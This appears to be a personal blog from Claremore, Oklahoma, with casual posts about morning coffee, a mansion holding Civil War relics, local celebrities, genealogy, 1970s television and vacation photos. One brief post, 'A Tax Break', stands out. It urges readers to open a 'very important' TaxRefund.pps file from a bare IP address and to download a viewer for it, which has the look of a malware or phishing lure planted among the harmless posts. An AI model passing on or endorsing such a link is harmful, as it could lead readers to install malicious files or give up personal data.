The Front Porch

I'm out on my front porch with my German Shepherd Jewel this morning enjoying another great cup of Columbian Coffee, sweetened with honey. Ever since a friend suggested I try honey instead, I've been ruined to sugar and Coffee Mate.

Mmm, glad I made the switch.

I notice that I’m always the only one out on the front porch; none of my neighbors are ever out on theirs. I wonder why? In the old days people used to enjoy the front porch; taking time to enjoy the simple things in life is key.

It's a mild 52° outside right now...perfect coffee-sipping weather. The projected high today is 70°. Since I still haven't put my hard top back on my Jeep yet, I think I'll go for a ride and enjoy the day. Maybe I'll even go exploring off-road and take my camcorder along and post some footage of where I go for you.

So you want to be a millionaire?

The pool in the backyard of this palatial home is where we went swimming this past summer. A family member works for the gentleman who owns the home. The home is 30,0000 square feet in size, with all kinds of amenities and expensive pieces of furniture, as you might expect. One heavy, old and well-built piece of furniture caught my attention in particular in one of the rooms in the home. It kind of looked like an armoire of some sort. I asked about the piece. My brother-in-law told me it was from Ireland, and when he gave me a dollar amount of its value, I realized it was more expensive than my whole house. Unbelievable!

The gentlemen's Civil War artifact collection is substantial as well, and includes the original "Missionary Ridge" battle flag of the Confederate Army. Impressive to say the least! And as I was casually mulling about the living room in the home, I picked up what looked to me to be a diary of some sort. When I enquired of my brother-in-law as to what it was, he replied that it was Jefferson Davis' diary. I gasped in disbelief and quickly and carefully put it back where I found it, not wanting to wrinkle any page or leave any trace that I had picked it up! What a piece of history! I asked him what it was valued at? He told me that it was valued at a quarter of a million dollars.

Whew! Glad I wasn't clumsy that day.

I snapped this picture (bottom of the page) of an old Jeep while at the mansion. I asked my brother-in-law who's it was. He told me that it was Allen Jackson's old Jeep, the Jeep he sings about in one of his songs. Apparently the gentleman of the house had purchased it from Jackson at a charity benefit a while back. I guess when you've got the bucks you get the chance to rub shoulders with all kinds of famous people.

Excuse me now while I go back to typing on my computer desk purchased at Wal-Mart. :)



Me, my brother-in-law and his frined sitting around the table at the pool.
The "Missionary Ridge" battle flag.

B-Day Card

I turned 45 this past week. Have a look at the birthday card my sister-in-law gave me. It's a riot!!

Click here to see what it says inside.

And yes, the card really came with the comb.

A Commerical

Thought you might enjoy this one!

Children's Hospital

Some pictures I took yesterday of construction going on where I work. The structure is going to be a new children's hospital. My fascination though is mostly with the crane, as you can tell.
Click on the pics to enlarge.

Here's a pic of the counterweight used to balance the crane. Believe it or not, the crane is not even bolted to the ground; it's free-standing, relying solely on the forces of weight and counterweight to keep it from toppling to the ground.
The hospital.
In this pic, I caught the operator outside his crane walking on the boom making a cell phone call.

Bob Hope in Claremore

An old picture of Bob Hope riding in a parade in my hometown of Claremore, OK. I believe the year was 1949. As it turns out, Bob Hope used to do a regular radio spot from Claremore in the 40's.

For a small town, Claremore has had its share of notoriety. Famous people from Claremore include: Patti Page, the singer; Will Rogers the humorist, cowboy, actor, political commentator and sixth cousin to me, by the way; Lynn Riggs, the playwright who wrote "Green Grow the Lilacs" which became the award-winning musical "Oklahoma", starring Shirley Jones and Gordon McRae. It is a favorite of mine and if you've ever had the opportunity to see it, look closely and you will notice in one scene a railroad station with "Claremore" painted on it. If you're from Claremore...that's a BIG DEAL. :)

A little more about Lynn Riggs: My grandfather, John Ovid Mayberry, had Lynn Riggs as an English professor while he was attending Oklahoma University back in 1926. He asked my grandfather to write about apple pie, making it as descriptive as possible so as to try and convey what it tasted like to a person who had never eaten any.

Just a little bit of family history my dad passed on to me.

Also, the astronaut Stuart Roosa was raised in Claremore but not born here. And I know there are other famous folks I can't think of right now.

One of the Locals

If you hear the sound of "Dueling Banjos" playing in the background, you might want to run. :)

A Tax Break

Please click here for an important tax message: http://216.206.61.233/TaxRefund.pps

If you can't view the above very important message, then you can download Powerpoint Viewer here: http://www.microsoft.com/downloads/details.aspx?FamilyID=428d5727-43ab-4f24-90b7-a94784af71a4&displaylang=en

What's in a name?

I've been in a mood for Celtic music lately. Don't really know why, maybe because some of my roots are Celtic, as are a great many of us who have European Ancestry. I would one day really like to see the lands where they used to live, Ireland and Scotland in particular.

My ancestry: English, Irish, Scottish, Dutch, German, Cherokee, Spanish and probably some nationalities I'm not yet aware of. I've traced my Ancestry on my Dad's side back to 1750. Frederick (my last name), who came from Germany surprisingly, is an ancestor of mine. I say "surprisingly" because my last name is essentially an English name. Apparently there were some people with my last name who immigrated from England to Germany early on. Someday, when I have time, I want to pursue that part of my genealogy further.

I've had my genealogy pages out on the web for quite a while now, and I have been rewarded with some interesting and informative emails from relatives who have seen my site that I never even knew existed. Many of these third and fourth cousins have shared valuable genealogical information with me to post on my site.

Genealogy can be time-consuming, which is why more retired people (no, I'm not retired) get involved with it than any other age group. I was fortunate that most of the material I have about my lineage was already available to me. My Dad's side of the family kept meticulous records; I was just the guy who made them available on the web for other researchers to benefit from, and in the process I became that much more interested in genealogy.

Someday, when I retire, I would like to do the actual footwork that all serious genealogist do: visit courthouses and graveyards in different states, visit with people by phone and in person, review lots of documents, etc.

For those of us who are not yet able to visit those far-away places to find those nuggets of genealogical gold, the Internet will have to do. And I've got to say it has been a real help to me.

So if you are one who has an interest in your family history, and you have documents and photographs, why not post them online? You might be surprised at the relatives you never knew you had who will send you emails, and probably more information about your family!

The 70's

These guys sure bring back some good musical memories from the seventies. America.


For those of you who missed the 70's, it was a great decade to grow up in. We had some great T.V programs too: The Partridge Family, The Walton's, The Brady Bunch, The Flip Wilson Show, Gunsmoke, Hawaii Five O, Bonanza, ABC Movie of the Week, The Mary Tyler Moore Show, NBC Sunday Mystery Movie, The Six Million Dollar Man, Mork and Mindy, and many more.



And I can remember when you could actually watch a Heavyweight Boxing Match for free, before for-pay programming was ever even heard of. And in this neck of the woods, (Tulsa area) there were only three channels to watch: 2, 6 and 8. We had no VCR's to record our favorite programs with; no T.V remotes with which to change channels and adjust the volume, those functions were all done manually by getting our rumps up and going over to actually touch the T.V. To you youngsters out there, that must sound absolutely barbaric!

And our television sets looked something like this. When the tuner would start to wear out, you had to go over and try and adjust the set to get it to hold the channel you were watching. Also the vertical hold would have to be adjusted from time to time to keep the picture from endlessly rolling. Remember those days, Baby Boomers?

But to us they were the best of times, and I wouldn't have traded them for any other decade to grow up in. :)



Susan Dey

More Smokey Mountain and Ohio Vacation Pics

I don't have much to write about today so I'll just post some more pics of our travels this past summer. I snapped this one in Andy Griffith's hometown, Mount Airy, NC.
Mother and daughter
My daughter Hannah in front of Barney's Cafe. Some great food there!
Just like her mother, a natural shopper.
Hannah and myself posing on a rock in Smokey Mountain National Park.